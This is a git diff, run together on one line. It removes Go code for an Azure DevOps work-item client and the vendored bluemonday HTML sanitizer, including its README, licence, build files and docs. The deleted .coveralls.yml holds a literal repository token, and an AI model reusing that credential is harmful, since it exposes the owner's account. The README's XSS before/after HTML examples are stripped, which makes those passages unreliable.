`json:"version,omitempty"` - URL *string `json:"url,omitempty"` -} - -// WorkItemReference Contains reference to a work item. -type WorkItemReference struct { - ID *int `json:"id,omitempty"` - URL *string `json:"url,omitempty"` -} - -// WorkItemRelation describes an intermediary between iterations and work items -type WorkItemRelation struct { - Attributes *map[string]interface{} `json:"attributes,omitempty"` - Rel *string `json:"rel,omitempty"` - URL *string `json:"url,omitempty"` -} - -// WorkItemUpdate Describes an update to a work item. -type WorkItemUpdate struct { - Links *map[string]interface{} `json:"attributes,omitempty"` - Fields *map[string]WorkItemFieldUpdate `json:"fields,omitempty"` - ID *int `json:"id,omitempty"` - Relations *WorkItemRelationUpdates `json:"relations,omitempty"` - Rev *int `json:"rev,omitempty"` - RevisedBy *IdentityRef `json:"revisedBy,omitempty"` - RevisedDate *Time `json:"revisedDate,omitempty"` - WorkItemID *int `json:"workItemId,omitempty"` - URL *string `json:"url,omitempty"` -} - -// GetForIteration will get a list of work items based on an iteration name -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/wit/work%20items/list -func (s *WorkItemsService) GetForIteration(ctx context.Context, owner, project, team string, iteration Iteration) ([]*WorkItem, *http.Response, error) { - iterationWorkItems, resp, err := s.GetIdsForIteration(ctx, owner, project, team, iteration) - if err != nil { - return nil, resp, err - } - - var workIds []string - for index := 0; index < len(iterationWorkItems.WorkItemRelations); index++ { - relationship := (iterationWorkItems.WorkItemRelations)[index] - workIds = append(workIds, strconv.Itoa(*relationship.Target.ID)) - } - - // https://docs.microsoft.com/en-us/rest/api/vsts/wit/work%20item%20types%20field/list - fields := []string{ - "System.Id", "System.Title", "System.State", "System.WorkItemType", - "Microsoft.VSTS.Scheduling.StoryPoints", "System.BoardColumn", - "System.CreatedBy", "System.AssignedTo", "System.Tags", - } - - // Now we want to pad out the fields for the work items - URL := fmt.Sprintf( - "%s/%s/_apis/wit/workitems?ids=%s&fields=%s&api-version=5.1-preview.1", - owner, - project, - strings.Join(workIds, ","), - strings.Join(fields, ","), - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(WorkItemListResponse) - resp, err = s.client.Execute(ctx, req, r) - - return r.WorkItems, resp, err -} - -// GetIdsForIteration will return an array of ids for a given iteration -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/work/iterations/get%20iteration%20work%20items -func (s *WorkItemsService) GetIdsForIteration(ctx context.Context, owner, project, team string, iteration Iteration) (*IterationWorkItems, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/%s/_apis/work/teamsettings/iterations/%s/workitems?api-version=5.1-preview.1", - owner, - project, - url.PathEscape(team), - *iteration.ID, - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(IterationWorkItems) - - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} - -// ListComments Lists all comments on a work item -// https://docs.microsoft.com/en-us/rest/api/azure/devops/wit/comments/get%20comment?view=azure-devops-rest-5.1#comment -func (s *WorkItemsService) ListComments(ctx context.Context, owner, project string, workItemID int, opts *WorkItemCommentListOptions) (*WorkItemCommentList, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/wit/workItems/%d/comments?api-version=5.1-preview.3", - owner, - project, - workItemID, - ) - - URL, err := addOptions(URL, opts) - - r := new(WorkItemCommentList) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} - -// GetComment Gets a work item comment -// https://docs.microsoft.com/en-us/rest/api/azure/devops/wit/comments/get%20comments%20batch?view=azure-devops-rest-5.1#commentlist -func (s *WorkItemsService) GetComment(ctx context.Context, owner, project string, workItemID, commentID int, opts *WorkItemCommentListOptions) (*WorkItemComment, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/wit/workItems/%d/comments/%d?api-version=5.1-preview.3", - owner, - project, - workItemID, - commentID, - ) - - r := new(WorkItemComment) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} - -// CreateComment Posts a comment to a work item -// https://docs.microsoft.com/en-us/rest/api/azure/devops/wit/comments/add -func (s *WorkItemsService) CreateComment(ctx context.Context, owner, project string, workItemID int, comment *WorkItemComment) (*WorkItemComment, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/wit/workItems/%d/comments?api-version=5.1-preview.3", - owner, - project, - workItemID, - ) - - r := new(WorkItemComment) - - req, err := s.client.NewRequest("POST", URL, comment) - if err != nil { - return nil, nil, err - } - - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} diff --git a/vendor/github.com/microcosm-cc/bluemonday/.coveralls.yml b/vendor/github.com/microcosm-cc/bluemonday/.coveralls.yml deleted file mode 100644 index e0c87602f0..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/.coveralls.yml +++ /dev/null @@ -1 +0,0 @@ -repo_token: x2wlA1x0X8CK45ybWpZRCVRB4g7vtkhaw diff --git a/vendor/github.com/microcosm-cc/bluemonday/.travis.yml b/vendor/github.com/microcosm-cc/bluemonday/.travis.yml deleted file mode 100644 index 31fbbdd8ae..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/.travis.yml +++ /dev/null @@ -1,21 +0,0 @@ -language: go -go: - - 1.1 - - 1.2 - - 1.3 - - 1.4 - - 1.5 - - 1.6 - - 1.7 - - 1.8 - - 1.9 - - 1.10 - - tip -matrix: - allow_failures: - - go: tip - fast_finish: true -install: - - go get golang.org/x/net/html -script: - - go test -v ./... diff --git a/vendor/github.com/microcosm-cc/bluemonday/CONTRIBUTING.md b/vendor/github.com/microcosm-cc/bluemonday/CONTRIBUTING.md deleted file mode 100644 index d2b12302f9..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/CONTRIBUTING.md +++ /dev/null @@ -1,51 +0,0 @@ -# Contributing to bluemonday - -Third-party patches are essential for keeping bluemonday secure and offering the features developers want. However there are a few guidelines that we need contributors to follow so that we can maintain the quality of work that developers who use bluemonday expect. - -## Getting Started - -* Make sure you have a [Github account](https://github.com/signup/free) - -## Guidelines - -1. Do not vendor dependencies. As a security package, were we to vendor dependencies the projects that then vendor bluemonday may not receive the latest security updates to the dependencies. By not vendoring dependencies the project that implements bluemonday will vendor the latest version of any dependent packages. Vendoring is a project problem, not a package problem. bluemonday will be tested against the latest version of dependencies periodically and during any PR/merge. - -## Submitting an Issue - -* Submit a ticket for your issue, assuming one does not already exist -* Clearly describe the issue including the steps to reproduce (with sample input and output) if it is a bug - -If you are reporting a security flaw, you may expect that we will provide the code to fix it for you. Otherwise you may want to submit a pull request to ensure the resolution is applied sooner rather than later: - -* Fork the repository on Github -* Issue a pull request containing code to resolve the issue - -## Submitting a Pull Request - -* Submit a ticket for your issue, assuming one does not already exist -* Describe the reason for the pull request and if applicable show some example inputs and outputs to demonstrate what the patch does -* Fork the repository on Github -* Before submitting the pull request you should - 1. Include tests for your patch, 1 test should encapsulate the entire patch and should refer to the Github issue - 1. If you have added new exposed/public functionality, you should ensure it is documented appropriately - 1. If you have added new exposed/public functionality, you should consider demonstrating how to use it within one of the helpers or shipped policies if appropriate or within a test if modifying a helper or policy is not appropriate - 1. Run all of the tests `go test -v ./...` or `make test` and ensure all tests pass - 1. Run gofmt `gofmt -w ./$*` or `make fmt` - 1. Run vet `go tool vet *.go` or `make vet` and resolve any issues - 1. Install golint using `go get -u github.com/golang/lint/golint` and run vet `golint *.go` or `make lint` and resolve every warning -* When submitting the pull request you should - 1. Note the issue(s) it resolves, i.e. `Closes #6` in the pull request comment to close issue #6 when the pull request is accepted - -Once you have submitted a pull request, we *may* merge it without changes. If we have any comments or feedback, or need you to make changes to your pull request we will update the Github pull request or the associated issue. We expect responses from you within two weeks, and we may close the pull request is there is no activity. - -### Contributor Licence Agreement - -We haven't gone for the formal "Sign a Contributor Licence Agreement" thing that projects like [puppet](https://cla.puppetlabs.com/), [Mojito](https://developer.yahoo.com/cocktails/mojito/cla/) and companies like [Google](http://code.google.com/legal/individual-cla-v1.0.html) are using. - -But we do need to know that we can accept and merge your contributions, so for now the act of contributing a pull request should be considered equivalent to agreeing to a contributor licence agreement, specifically: - -You accept that the act of submitting code to the bluemonday project is to grant a copyright licence to the project that is perpetual, worldwide, non-exclusive, no-charge, royalty free and irrevocable. - -You accept that all who comply with the licence of the project (BSD 3-clause) are permitted to use your contributions to the project. - -You accept, and by submitting code do declare, that you have the legal right to grant such a licence to the project and that each of the contributions is your own original creation. diff --git a/vendor/github.com/microcosm-cc/bluemonday/CREDITS.md b/vendor/github.com/microcosm-cc/bluemonday/CREDITS.md deleted file mode 100644 index b98873f3ca..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/CREDITS.md +++ /dev/null @@ -1,6 +0,0 @@ -1. Andrew Krasichkov @buglloc https://github.com/buglloc -1. John Graham-Cumming http://jgc.org/ -1. Mike Samuel mikesamuel@gmail.com -1. Dmitri Shuralyov shurcooL@gmail.com -1. https://github.com/opennota -1. https://github.com/Gufran \ No newline at end of file diff --git a/vendor/github.com/microcosm-cc/bluemonday/LICENSE.md b/vendor/github.com/microcosm-cc/bluemonday/LICENSE.md deleted file mode 100644 index f822458ed0..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/LICENSE.md +++ /dev/null @@ -1,28 +0,0 @@ -Copyright (c) 2014, David Kitchen - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the organisation (Microcosm) nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/microcosm-cc/bluemonday/Makefile b/vendor/github.com/microcosm-cc/bluemonday/Makefile deleted file mode 100644 index b15dc74f37..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/Makefile +++ /dev/null @@ -1,42 +0,0 @@ -# Targets: -# -# all: Builds the code locally after testing -# -# fmt: Formats the source files -# build: Builds the code locally -# vet: Vets the code -# lint: Runs lint over the code (you do not need to fix everything) -# test: Runs the tests -# cover: Gives you the URL to a nice test coverage report -# -# install: Builds, tests and installs the code locally - -.PHONY: all fmt build vet lint test cover install - -# The first target is always the default action if `make` is called without -# args we build and install into $GOPATH so that it can just be run - -all: fmt vet test install - -fmt: - @gofmt -s -w ./$* - -build: - @go build - -vet: - @go vet *.go - -lint: - @golint *.go - -test: - @go test -v ./... - -cover: COVERAGE_FILE := coverage.out -cover: - @go test -coverprofile=$(COVERAGE_FILE) && \ - cover -html=$(COVERAGE_FILE) && rm $(COVERAGE_FILE) - -install: - @go install ./... diff --git a/vendor/github.com/microcosm-cc/bluemonday/README.md b/vendor/github.com/microcosm-cc/bluemonday/README.md deleted file mode 100644 index ce679c10b1..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/README.md +++ /dev/null @@ -1,350 +0,0 @@ -# bluemonday [![Build Status](https://travis-ci.org/microcosm-cc/bluemonday.svg?branch=master)](https://travis-ci.org/microcosm-cc/bluemonday) [![GoDoc](https://godoc.org/github.com/microcosm-cc/bluemonday?status.png)](https://godoc.org/github.com/microcosm-cc/bluemonday) [![Sourcegraph](https://sourcegraph.com/github.com/microcosm-cc/bluemonday/-/badge.svg)](https://sourcegraph.com/github.com/microcosm-cc/bluemonday?badge) - -bluemonday is a HTML sanitizer implemented in Go. It is fast and highly configurable. - -bluemonday takes untrusted user generated content as an input, and will return HTML that has been sanitised against a whitelist of approved HTML elements and attributes so that you can safely include the content in your web page. - -If you accept user generated content, and your server uses Go, you **need** bluemonday. - -The default policy for user generated content (`bluemonday.UGCPolicy().Sanitize()`) turns this: -```html -Hello World -``` - -Into a harmless: -```html -Hello World -``` - -And it turns this: -```html -XSS -``` - -Into this: -```html -XSS -``` - -Whilst still allowing this: -```html - - - -``` - -To pass through mostly unaltered (it gained a rel="nofollow" which is a good thing for user generated content): -```html - - - -``` - -It protects sites from [XSS](http://en.wikipedia.org/wiki/Cross-site_scripting) attacks. There are many [vectors for an XSS attack](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) and the best way to mitigate the risk is to sanitize user input against a known safe list of HTML elements and attributes. - -You should **always** run bluemonday **after** any other processing. - -If you use [blackfriday](https://github.com/russross/blackfriday) or [Pandoc](http://johnmacfarlane.net/pandoc/) then bluemonday should be run after these steps. This ensures that no insecure HTML is introduced later in your process. - -bluemonday is heavily inspired by both the [OWASP Java HTML Sanitizer](https://code.google.com/p/owasp-java-html-sanitizer/) and the [HTML Purifier](http://htmlpurifier.org/). - -## Technical Summary - -Whitelist based, you need to either build a policy describing the HTML elements and attributes to permit (and the `regexp` patterns of attributes), or use one of the supplied policies representing good defaults. - -The policy containing the whitelist is applied using a fast non-validating, forward only, token-based parser implemented in the [Go net/html library](https://godoc.org/golang.org/x/net/html) by the core Go team. - -We expect to be supplied with well-formatted HTML (closing elements for every applicable open element, nested correctly) and so we do not focus on repairing badly nested or incomplete HTML. We focus on simply ensuring that whatever elements do exist are described in the policy whitelist and that attributes and links are safe for use on your web page. [GIGO](http://en.wikipedia.org/wiki/Garbage_in,_garbage_out) does apply and if you feed it bad HTML bluemonday is not tasked with figuring out how to make it good again. - -### Supported Go Versions - -bluemonday is tested against Go 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, and tip. - -We do not support Go 1.0 as we depend on `golang.org/x/net/html` which includes a reference to `io.ErrNoProgress` which did not exist in Go 1.0. - -## Is it production ready? - -*Yes* - -We are using bluemonday in production having migrated from the widely used and heavily field tested OWASP Java HTML Sanitizer. - -We are passing our extensive test suite (including AntiSamy tests as well as tests for any issues raised). Check for any [unresolved issues](https://github.com/microcosm-cc/bluemonday/issues?page=1&state=open) to see whether anything may be a blocker for you. - -We invite pull requests and issues to help us ensure we are offering comprehensive protection against various attacks via user generated content. - -## Usage - -Install in your `${GOPATH}` using `go get -u github.com/microcosm-cc/bluemonday` - -Then call it: -```go -package main - -import ( - "fmt" - - "github.com/microcosm-cc/bluemonday" -) - -func main() { - // Do this once for each unique policy, and use the policy for the life of the program - // Policy creation/editing is not safe to use in multiple goroutines - p := bluemonday.UGCPolicy() - - // The policy can then be used to sanitize lots of input and it is safe to use the policy in multiple goroutines - html := p.Sanitize( - `Google`, - ) - - // Output: - // Google - fmt.Println(html) -} -``` - -We offer three ways to call Sanitize: -```go -p.Sanitize(string) string -p.SanitizeBytes([]byte) []byte -p.SanitizeReader(io.Reader) bytes.Buffer -``` - -If you are obsessed about performance, `p.SanitizeReader(r).Bytes()` will return a `[]byte` without performing any unnecessary casting of the inputs or outputs. Though the difference is so negligible you should never need to care. - -You can build your own policies: -```go -package main - -import ( - "fmt" - - "github.com/microcosm-cc/bluemonday" -) - -func main() { - p := bluemonday.NewPolicy() - - // Require URLs to be parseable by net/url.Parse and either: - // mailto: http:// or https:// - p.AllowStandardURLs() - - // We only allow

and - p.AllowAttrs("href").OnElements("a") - p.AllowElements("p") - - html := p.Sanitize( - `Google`, - ) - - // Output: - // Google - fmt.Println(html) -} -``` - -We ship two default policies: - -1. `bluemonday.StrictPolicy()` which can be thought of as equivalent to stripping all HTML elements and their attributes as it has nothing on its whitelist. An example usage scenario would be blog post titles where HTML tags are not expected at all and if they are then the elements *and* the content of the elements should be stripped. This is a *very* strict policy. -2. `bluemonday.UGCPolicy()` which allows a broad selection of HTML elements and attributes that are safe for user generated content. Note that this policy does *not* whitelist iframes, object, embed, styles, script, etc. An example usage scenario would be blog post bodies where a variety of formatting is expected along with the potential for TABLEs and IMGs. - -## Policy Building - -The essence of building a policy is to determine which HTML elements and attributes are considered safe for your scenario. OWASP provide an [XSS prevention cheat sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) to help explain the risks, but essentially: - -1. Avoid anything other than the standard HTML elements -1. Avoid `script`, `style`, `iframe`, `object`, `embed`, `base` elements that allow code to be executed by the client or third party content to be included that can execute code -1. Avoid anything other than plain HTML attributes with values matched to a regexp - -Basically, you should be able to describe what HTML is fine for your scenario. If you do not have confidence that you can describe your policy please consider using one of the shipped policies such as `bluemonday.UGCPolicy()`. - -To create a new policy: -```go -p := bluemonday.NewPolicy() -``` - -To add elements to a policy either add just the elements: -```go -p.AllowElements("b", "strong") -``` - -Or add elements as a virtue of adding an attribute: -```go -// Not the recommended pattern, see the recommendation on using .Matching() below -p.AllowAttrs("nowrap").OnElements("td", "th") -``` - -Attributes can either be added to all elements: -```go -p.AllowAttrs("dir").Matching(regexp.MustCompile("(?i)rtl|ltr")).Globally() -``` - -Or attributes can be added to specific elements: -```go -// Not the recommended pattern, see the recommendation on using .Matching() below -p.AllowAttrs("value").OnElements("li") -``` - -It is **always** recommended that an attribute be made to match a pattern. XSS in HTML attributes is very easy otherwise: -```go -// \p{L} matches unicode letters, \p{N} matches unicode numbers -p.AllowAttrs("title").Matching(regexp.MustCompile(`[\p{L}\p{N}\s\-_',:\[\]!\./\\\(\)&]*`)).Globally() -``` - -You can stop at any time and call .Sanitize(): -```go -// string htmlIn passed in from a HTTP POST -htmlOut := p.Sanitize(htmlIn) -``` - -And you can take any existing policy and extend it: -```go -p := bluemonday.UGCPolicy() -p.AllowElements("fieldset", "select", "option") -``` - -### Links - -Links are difficult beasts to sanitise safely and also one of the biggest attack vectors for malicious content. - -It is possible to do this: -```go -p.AllowAttrs("href").Matching(regexp.MustCompile(`(?i)mailto|https?`)).OnElements("a") -``` - -But that will not protect you as the regular expression is insufficient in this case to have prevented a malformed value doing something unexpected. - -We provide some additional global options for safely working with links. - -`RequireParseableURLs` will ensure that URLs are parseable by Go's `net/url` package: -```go -p.RequireParseableURLs(true) -``` - -If you have enabled parseable URLs then the following option will `AllowRelativeURLs`. By default this is disabled (bluemonday is a whitelist tool... you need to explicitly tell us to permit things) and when disabled it will prevent all local and scheme relative URLs (i.e. `href="localpage.html"`, `href="../home.html"` and even `href="//www.google.com"` are relative): -```go -p.AllowRelativeURLs(true) -``` - -If you have enabled parseable URLs then you can whitelist the schemes (commonly called protocol when thinking of `http` and `https`) that are permitted. Bear in mind that allowing relative URLs in the above option will allow for a blank scheme: -```go -p.AllowURLSchemes("mailto", "http", "https") -``` - -Regardless of whether you have enabled parseable URLs, you can force all URLs to have a rel="nofollow" attribute. This will be added if it does not exist, but only when the `href` is valid: -```go -// This applies to "a" "area" "link" elements that have a "href" attribute -p.RequireNoFollowOnLinks(true) -``` - -We provide a convenience method that applies all of the above, but you will still need to whitelist the linkable elements for the URL rules to be applied to: -```go -p.AllowStandardURLs() -p.AllowAttrs("cite").OnElements("blockquote", "q") -p.AllowAttrs("href").OnElements("a", "area") -p.AllowAttrs("src").OnElements("img") -``` - -An additional complexity regarding links is the data URI as defined in [RFC2397](http://tools.ietf.org/html/rfc2397). The data URI allows for images to be served inline using this format: - -```html - -``` - -We have provided a helper to verify the mimetype followed by base64 content of data URIs links: - -```go -p.AllowDataURIImages() -``` - -That helper will enable GIF, JPEG, PNG and WEBP images. - -It should be noted that there is a potential [security](http://palizine.plynt.com/issues/2010Oct/bypass-xss-filters/) [risk](https://capec.mitre.org/data/definitions/244.html) with the use of data URI links. You should only enable data URI links if you already trust the content. - -We also have some features to help deal with user generated content: -```go -p.AddTargetBlankToFullyQualifiedLinks(true) -``` - -This will ensure that anchor `` links that are fully qualified (the href destination includes a host name) will get `target="_blank"` added to them. - -Additionally any link that has `target="_blank"` after the policy has been applied will also have the `rel` attribute adjusted to add `noopener`. This means a link may start like `` and will end up as ``. It is important to note that the addition of `noopener` is a security feature and not an issue. There is an unfortunate feature to browsers that a browser window opened as a result of `target="_blank"` can still control the opener (your web page) and this protects against that. The background to this can be found here: [https://dev.to/ben/the-targetblank-vulnerability-by-example](https://dev.to/ben/the-targetblank-vulnerability-by-example) - -### Policy Building Helpers - -We also bundle some helpers to simplify policy building: -```go - -// Permits the "dir", "id", "lang", "title" attributes globally -p.AllowStandardAttributes() - -// Permits the "img" element and its standard attributes -p.AllowImages() - -// Permits ordered and unordered lists, and also definition lists -p.AllowLists() - -// Permits HTML tables and all applicable elements and non-styling attributes -p.AllowTables() -``` - -### Invalid Instructions - -The following are invalid: -```go -// This does not say where the attributes are allowed, you need to add -// .Globally() or .OnElements(...) -// This will be ignored without error. -p.AllowAttrs("value") - -// This does not say where the attributes are allowed, you need to add -// .Globally() or .OnElements(...) -// This will be ignored without error. -p.AllowAttrs( - "type", -).Matching( - regexp.MustCompile("(?i)^(circle|disc|square|a|A|i|I|1)$"), -) -``` - -Both examples exhibit the same issue, they declare attributes but do not then specify whether they are whitelisted globally or only on specific elements (and which elements). Attributes belong to one or more elements, and the policy needs to declare this. - -## Limitations - -We are not yet including any tools to help whitelist and sanitize CSS. Which means that unless you wish to do the heavy lifting in a single regular expression (inadvisable), **you should not allow the "style" attribute anywhere**. - -It is not the job of bluemonday to fix your bad HTML, it is merely the job of bluemonday to prevent malicious HTML getting through. If you have mismatched HTML elements, or non-conforming nesting of elements, those will remain. But if you have well-structured HTML bluemonday will not break it. - -## TODO - -* Add support for CSS sanitisation to allow some CSS properties based on a whitelist, possibly using the [Gorilla CSS3 scanner](http://www.gorillatoolkit.org/pkg/css/scanner) - PRs welcome so long as testing covers XSS and demonstrates safety first -* Investigate whether devs want to blacklist elements and attributes. This would allow devs to take an existing policy (such as the `bluemonday.UGCPolicy()` ) that encapsulates 90% of what they're looking for but does more than they need, and to remove the extra things they do not want to make it 100% what they want -* Investigate whether devs want a validating HTML mode, in which the HTML elements are not just transformed into a balanced tree (every start tag has a closing tag at the correct depth) but also that elements and character data appear only in their allowed context (i.e. that a `table` element isn't a descendent of a `caption`, that `colgroup`, `thead`, `tbody`, `tfoot` and `tr` are permitted, and that character data is not permitted) - -## Development - -If you have cloned this repo you will probably need the dependency: - -`go get golang.org/x/net/html` - -Gophers can use their familiar tools: - -`go build` - -`go test` - -I personally use a Makefile as it spares typing the same args over and over whilst providing consistency for those of us who jump from language to language and enjoy just typing `make` in a project directory and watch magic happen. - -`make` will build, vet, test and install the library. - -`make clean` will remove the library from a *single* `${GOPATH}/pkg` directory tree - -`make test` will run the tests - -`make cover` will run the tests and *open a browser window* with the coverage report - -`make lint` will run golint (install via `go get github.com/golang/lint/golint`) - -## Long term goals - -1. Open the code to adversarial peer review similar to the [Attack Review Ground Rules](https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules) -1. Raise funds and pay for an external security review diff --git a/vendor/github.com/microcosm-cc/bluemonday/doc.go b/vendor/github.com/microcosm-cc/bluemonday/doc.go deleted file mode 100644 index 71dab60898..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/doc.go +++ /dev/null @@ -1,104 +0,0 @@ -// Copyright (c) 2014, David Kitchen -// -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this -// list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of the organisation (Microcosm) nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -/* -Package bluemonday provides a way of describing a whitelist of HTML elements -and attributes as a policy, and for that policy to be applied to untrusted -strings from users that may contain markup. All elements and attributes not on -the whitelist will be stripped. - -The default bluemonday.UGCPolicy().Sanitize() turns this: - - Hello World - -Into the more harmless: - - Hello World - -And it turns this: - - XSS - -Into this: - - XSS - -Whilst still allowing this: - - - - - -To pass through mostly unaltered (it gained a rel="nofollow"): - - - - - -The primary purpose of bluemonday is to take potentially unsafe user generated -content (from things like Markdown, HTML WYSIWYG tools, etc) and make it safe -for you to put on your website. - -It protects sites against XSS (http://en.wikipedia.org/wiki/Cross-site_scripting) -and other malicious content that a user interface may deliver. There are many -vectors for an XSS attack (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) -and the safest thing to do is to sanitize user input against a known safe list -of HTML elements and attributes. - -Note: You should always run bluemonday after any other processing. - -If you use blackfriday (https://github.com/russross/blackfriday) or -Pandoc (http://johnmacfarlane.net/pandoc/) then bluemonday should be run after -these steps. This ensures that no insecure HTML is introduced later in your -process. - -bluemonday is heavily inspired by both the OWASP Java HTML Sanitizer -(https://code.google.com/p/owasp-java-html-sanitizer/) and the HTML Purifier -(http://htmlpurifier.org/). - -We ship two default policies, one is bluemonday.StrictPolicy() and can be -thought of as equivalent to stripping all HTML elements and their attributes as -it has nothing on its whitelist. - -The other is bluemonday.UGCPolicy() and allows a broad selection of HTML -elements and attributes that are safe for user generated content. Note that -this policy does not whitelist iframes, object, embed, styles, script, etc. - -The essence of building a policy is to determine which HTML elements and -attributes are considered safe for your scenario. OWASP provide an XSS -prevention cheat sheet ( https://www.google.com/search?q=xss+prevention+cheat+sheet ) -to help explain the risks, but essentially: - - 1. Avoid whitelisting anything other than plain HTML elements - 2. Avoid whitelisting `script`, `style`, `iframe`, `object`, `embed`, `base` - elements - 3. Avoid whitelisting anything other than plain HTML elements with simple - values that you can match to a regexp -*/ -package bluemonday diff --git a/vendor/github.com/microcosm-cc/bluemonday/helpers.go b/vendor/github.com/microcosm-cc/bluemonday/helpers.go deleted file mode 100644 index dfa5868da8..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/helpers.go +++ /dev/null @@ -1,297 +0,0 @@ -// Copyright (c) 2014, David Kitchen -// -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this -// list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of the organisation (Microcosm) nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package bluemonday - -import ( - "encoding/base64" - "net/url" - "regexp" -) - -// A selection of regular expressions that can be used as .Matching() rules on -// HTML attributes. -var ( - // CellAlign handles the `align` attribute - // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td#attr-align - CellAlign = regexp.MustCompile(`(?i)^(center|justify|left|right|char)$`) - - // CellVerticalAlign handles the `valign` attribute - // 